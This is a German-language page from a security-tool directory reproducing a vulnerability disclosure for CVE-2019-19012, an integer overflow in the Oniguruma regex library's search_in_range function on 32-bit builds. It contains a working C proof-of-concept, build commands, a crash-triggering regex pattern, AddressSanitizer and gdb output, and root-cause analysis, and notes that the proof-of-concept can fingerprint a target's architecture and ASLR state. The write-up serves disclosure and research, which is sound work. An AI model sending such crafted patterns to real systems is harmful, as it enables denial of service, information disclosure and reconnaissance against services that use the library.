Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
CVE-2019-19012 — Ein Integer-Überlauf in der Funktion search_in_range in regexec.c in Oniguruma 6.x vor 6.9.4_rc2 führt zu einem Out-of-Bounds-Read. | Kitploit
Tools/GitHubGitHub/tarantula-team/cve-2019-19012
SpeicherforensikSchwachstellenanalyseExploitationInformationsbeschaffungFuzzingBinäranalyse
GitHubtarantula-team/cve-2019-19012

CVE-2019-19012

Ein Integer-Überlauf in der Funktion search_in_range in regexec.c in Oniguruma 6.x vor 6.9.4_rc2 führt zu einem Out-of-Bounds-Read.

Repository anzeigen
vor 6 JahrenNoch nicht geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

CVE-2019-19012

Ein Integer-Überlauf in der Funktion search_in_range in regexec.c in Oniguruma 6.x vor 6.9.4_rc2 führt zu einem Out-of-Bounds-Read, wobei der Offset dieses Reads unter der Kontrolle eines Angreifers steht. (Dies betrifft nur die 32-Bit-kompilierte Version). Remote-Angreifer können einen Denial-of-Service oder eine Informationsoffenlegung verursachen oder möglicherweise andere Auswirkungen über einen manipulierten regulären Ausdruck erzielen.

Forscher: ManhND of The Tarantula Team, VinCSS (a member of Vingroup)

Was ist Oniguruma?

Oniguruma von K. Kosako ist eine BSD-lizenzierte Bibliothek für reguläre Ausdrücke, die eine Vielzahl von Zeichenkodierungen unterstützt. Die Programmiersprache Ruby verwendet in Version 1.9 sowie PHPs Multi-Byte-String-Modul (seit PHP5) Oniguruma als Engine für reguläre Ausdrücke. Es wird auch in Produkten wie Atom, GyazMail Take Command Console, Tera Term, TextMate, Sublime Text und SubEthaEdit verwendet.

Proof-of-Concept

Im Folgenden finden Sie einen PoC in C. Er akzeptiert das erste Argument als Muster und das zweite Argument als die Zeichenkette, die abgeglichen werden soll.

root@kitploit:~
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
#include "oniguruma.h"

static int
search(regex_t* reg, unsigned char* str, unsigned char* end)
{
  int r;
  unsigned char *start, *range;
  OnigRegion *region;

  region = onig_region_new();

  start = str;
  range = end;
  r = onig_search(reg, str, end, start, range, region, ONIG_OPTION_NONE);
  if (r >= 0 ) {
    int i;

    fprintf(stdout, "match at %d  (%s)\n", r,
            ONIGENC_NAME(onig_get_encoding(reg)));
    for (i = 0; i < region->num_regs; i++) {
      fprintf(stdout, "%d: (%d-%d)\n", i, region->beg[i], region->end[i]);
    }
  }
  else if (r == ONIG_MISMATCH) {
    fprintf(stdout, "search fail (%s)\n",
            ONIGENC_NAME(onig_get_encoding(reg)));
  }
  else { /* error */
    char s[ONIG_MAX_ERROR_MESSAGE_LEN];
    onig_error_code_to_str((UChar* )s, r);
    fprintf(stdout, "ERROR: %s\n", s);
    fprintf(stdout, "  (%s)\n", ONIGENC_NAME(onig_get_encoding(reg)));
    
    onig_region_free(region, 1 /* 1:free self, 0:free contents only */);
    return -1;
  }

  onig_region_free(region, 1 /* 1:free self, 0:free contents only */);
  return 0;
}

int main(int argc, char* argv[])
{
  int r;
  regex_t* reg;
  OnigErrorInfo einfo;

  char *pattern = argv[1];
  char *pattern_end = pattern + strlen(pattern);
  OnigEncodingType *enc = ONIG_ENCODING_ASCII;

  char* str = argv[2];
  char* str_end = str+strlen(str);

  onig_initialize(&enc, 1);
  r = onig_new(&reg, (unsigned char *)pattern, (unsigned char *)pattern_end,
               ONIG_OPTION_IGNORECASE, enc, ONIG_SYNTAX_DEFAULT, &einfo);
  if (r != ONIG_NORMAL) {
    char s[ONIG_MAX_ERROR_MESSAGE_LEN];
    onig_error_code_to_str((UChar* )s, r, &einfo);
    fprintf(stdout, "ERROR: %s\n", s);
    onig_end();

    if (r == ONIGERR_PARSER_BUG ||
        r == ONIGERR_STACK_BUG  ||
        r == ONIGERR_UNDEFINED_BYTECODE ||
        r == ONIGERR_UNEXPECTED_BYTECODE) {
      return -2;
    }
    else
      return -1;
  }

  if (onigenc_is_valid_mbc_string(enc, str, str_end) != 0) {
    r = search(reg, str, str_end);
  } else {
    fprintf(stdout, "Invalid string\n");
  }

  onig_free(reg);
  onig_end();
  return 0;
}

Kompilieren Sie Oniguruma und den PoC in 32 Bit:

root@kitploit:~
./configure CC=gcc CFLAGS="-m32 -O0 -ggdb3 -fsanitize=address" LDFLAGS="-m32 -O0 -ggdb3 -fsanitize=address" && make
gcc -m32 -fsanitize=address -O0 -I./oniguruma/src -ggdb3 PoC.c ./oniguruma/src/.libs/libonig.a -o PoC

Um den Fehler auszulösen, übergeben Sie die Zeichenkette "x" und Muster im Format "x{a}{b}0", wobei a und b kleiner als 100000 sind. Zum Beispiel:

root@kitploit:~
root@manh-ubuntu16:~/fuzz/fuzz_oniguruma# ./PoC x{50000}{80000}0 x
ASAN:SIGSEGV
=================================================================
==4961==ERROR: AddressSanitizer: SEGV on unknown address 0xee5a5fdb (pc 0x080bf994 bp 0xffef2418 sp 0xffef23e0 T0)
    #0 0x80bf993 in sunday_quick_search /root/fuzz/fuzz_oniguruma/oniguruma-gcc-asan-32/src/regexec.c:4831
    #1 0x80c0685 in forward_search /root/fuzz/fuzz_oniguruma/oniguruma-gcc-asan-32/src/regexec.c:4956
    #2 0x80c2830 in search_in_range /root/fuzz/fuzz_oniguruma/oniguruma-gcc-asan-32/src/regexec.c:5375
    #3 0x80c17f4 in onig_search /root/fuzz/fuzz_oniguruma/oniguruma-gcc-asan-32/src/regexec.c:5168
    #4 0x8048cc4 in search /root/fuzz/fuzz_oniguruma/poc-dmax-search-in-range.c:17
    #5 0x8049536 in main /root/fuzz/fuzz_oniguruma/poc-dmax-search-in-range.c:78
    #6 0xf7049636 in __libc_start_main (/lib/i386-linux-gnu/libc.so.6+0x18636)
    #7 0x8048b00  (/root/fuzz/fuzz_oniguruma/poc-dmax-search-in-range+0x8048b00)

AddressSanitizer can not provide additional info.
SUMMARY: AddressSanitizer: SEGV /root/fuzz/fuzz_oniguruma/oniguruma-gcc-asan-32/src/regexec.c:4831 sunday_quick_search
==4961==ABORTING
root@manh-ubuntu16:~/fuzz/fuzz_oniguruma#

Analyse

Referenzierte Quellcode-Version: ca7ddbd858dcdc8322d619cf41ab125a2603a0d4

Die Grundursache liegt in der Zeile regex.c:5365, wo ein Integer-Überlauf auftritt:

root@kitploit:~
5360	      sch_range = (UChar* )range;
5361	      if (reg->dmax != 0) {
5362	        if (reg->dmax == INFINITE_LEN)
5363	          sch_range = (UChar* )end;
5364	        else {
5365	          sch_range += reg->dmax;  //// => overflow
5366	          if (sch_range > end) sch_range = (UChar* )end;
5367	        }
5368	      }

Der Integer-Überlauf tritt auf, wenn reg->dmax einen ausreichend großen Wert annimmt. reg->dmax scheint eine Distanz zu sein, die gleich <number> im Muster "x{<number>}y" ist, wobei x ein beliebiges Zeichen sein kann und y eine Ziffer sein muss. Wenn beispielsweise das Muster "a{1000}5" angegeben wird, ist reg->dmax = 1000. Siehe das folgende gdb-Protokoll mit "./PoC a{1000}5 b":

root@kitploit:~
root@manh-ubuntu16:~/fuzz/fuzz_oniguruma# gdb ./PoC
...
(gdb) b 61 # set breakpoint after onig_new
Breakpoint 1 at 0x804943d: file poc-dmax-search-in-range.c, line 61.
(gdb) r a{1000}0 b
Starting program: /root/fuzz/fuzz_oniguruma/PoC a{1000}0 b
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".

Breakpoint 1, main (argc=3, argv=0xffffd634) at poc-dmax-search-in-range.c:61
warning: Source file is more recent than executable.
61	  if (r != ONIG_NORMAL) {
(gdb) p *reg
$1 = {ops = 0xf5b03760, ocs = 0xf5900be0, ops_curr = 0xf5b037b0, ops_used = 5, 
  ops_alloc = 8, string_pool = 0x0, string_pool_end = 0x0, num_mem = 0, 
  num_repeat = 1, num_empty_check = 0, num_call = 0, capture_history = 0, 
  push_mem_start = 0, push_mem_end = 0, empty_status_mem = 0, 
  stack_pop_level = 0, repeat_range_alloc = 4, repeat_range = 0xf6100f90, 
  enc = 0x8139e00 <OnigEncodingASCII>, options = 1, 
  syntax = 0x8127160 <OnigSyntaxOniguruma>, case_fold_flag = 1073741824, 
  name_table = 0x0, optimize = 2, threshold_len = 1001, anchor = 0, 
  anchor_dmin = 0, anchor_dmax = 0, sub_anchor = 0, exact = 0xf6500430 "0", 
  exact_end = 0xf6500431 "", 
  map = '\002' <repeats 48 times>, "\001", '\002' <repeats 207 times>, 
  map_offset = 1, dmin = 1000, dmax = 1000, extp = 0x0}
(gdb)

Darüber hinaus kann die Wiederholungszahl beliebig oft verschachtelt werden:

root@kitploit:~
"x{n1}{n2}...{nk}5" => dmax = n1 * n2 * ... * nk

Somit kann dmax (ein vorzeichenloser Integer) jeden Wert im Bereich [0, 0xffffffff) annehmen, und ein Integer-Überlauf bei sch_range += reg->dmax; ist definitiv möglich. Gleiches gilt für reg->dmin. Dieser Integer-Überlauf betrifft jedoch nur die 32-Bit-Version. Bei der 64-Bit-Version ist sch_range ein 64-Bit-Zeiger und dmax weiterhin ein vorzeichenloser Integer, sodass kein Integer-Überlauf auftreten kann.

Der obige PoC stürzt ab, weil der Integer-Überlauf in sunday_quick_search dazu führt, dass eine ungültige Speicheradresse dereferenziert wird:

root@kitploit:~
while (s < end) {
    p = s;
    t = tail;
    while (*p == *t) {                             // => p points to invalid address
      if (t == target) return (UChar* )p;
      p--; t--;
    }
    if (s + map_offset >= text_end) break;
    s += reg->map[*(s + map_offset)];
  }

Wenn ASLR aktiviert ist und wir ein geeignetes Muster bereitstellen, bildet ASLR manchmal eine gültige Seite an der dereferenzierten Adresse ab, manchmal keine Seite. Daher stürzt der PoC manchmal ab und manchmal nicht. Dieser PoC kann also verwendet werden, um zu erkennen, ob das Zielsystem 32-Bit oder 64-Bit ist. Und wenn es 32-Bit ist, können wir erkennen, ob ASLR aktiviert ist oder nicht.

Referenzen

  • https://github.com/kkos/oniguruma/issues/164
  • https://en.wikipedia.org/wiki/Oniguruma
Tool herunterladen